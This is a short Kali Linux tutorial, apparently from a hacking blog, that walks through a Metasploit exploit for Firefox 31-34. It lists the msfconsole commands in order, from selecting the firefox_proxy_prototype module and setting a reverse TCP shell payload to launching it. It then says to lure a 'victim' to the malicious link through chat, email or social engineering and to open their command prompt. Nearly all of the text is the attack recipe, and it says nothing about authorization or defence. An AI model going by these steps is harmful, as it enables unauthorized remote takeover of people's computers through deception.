Kali Linux, Penetration Testing

Exploit Remote Windows, Linux, OSX PC using Firefox Proxy Prototype Privileged JavaScript Injection

This exploit gains remote code execution on Firefox 31-34 by abusing a bug in the XPConnect component and gaining a reference to the privileged chrome:// window. This exploit requires the user to click anywhere on the page to trigger the vulnerability.

Exploit Targets

Firefox 31 to 34

Windows 7





Attacker: kali Linux

Victim PC: Windows 7

Open Kali terminal type msfconsole

Now type use exploit/multi/browser/firefox_proxy_prototype

msf exploit (firefox_proxy_prototype)>set payload firefox/shell_reverse_tcp

msf exploit (firefox_proxy_prototype)>set lhost (IP of Local Host)

msf exploit (firefox_proxy_prototype)>set srvhost

msf exploit (firefox_proxy_prototype)>set uripath /

msf exploit (firefox_proxy_prototype)>exploit

Now an URL you should give to your victim

Send the link of the server to the victim via chat or email or any social engineering technique

Now when the victim opens the following link ( a session will be opened as shown below

Now type session –l to display sessions opened when the victim opens the link

Now the session has opened  type sysinfo to get system information, then type shell to enter into

Victims command prompt.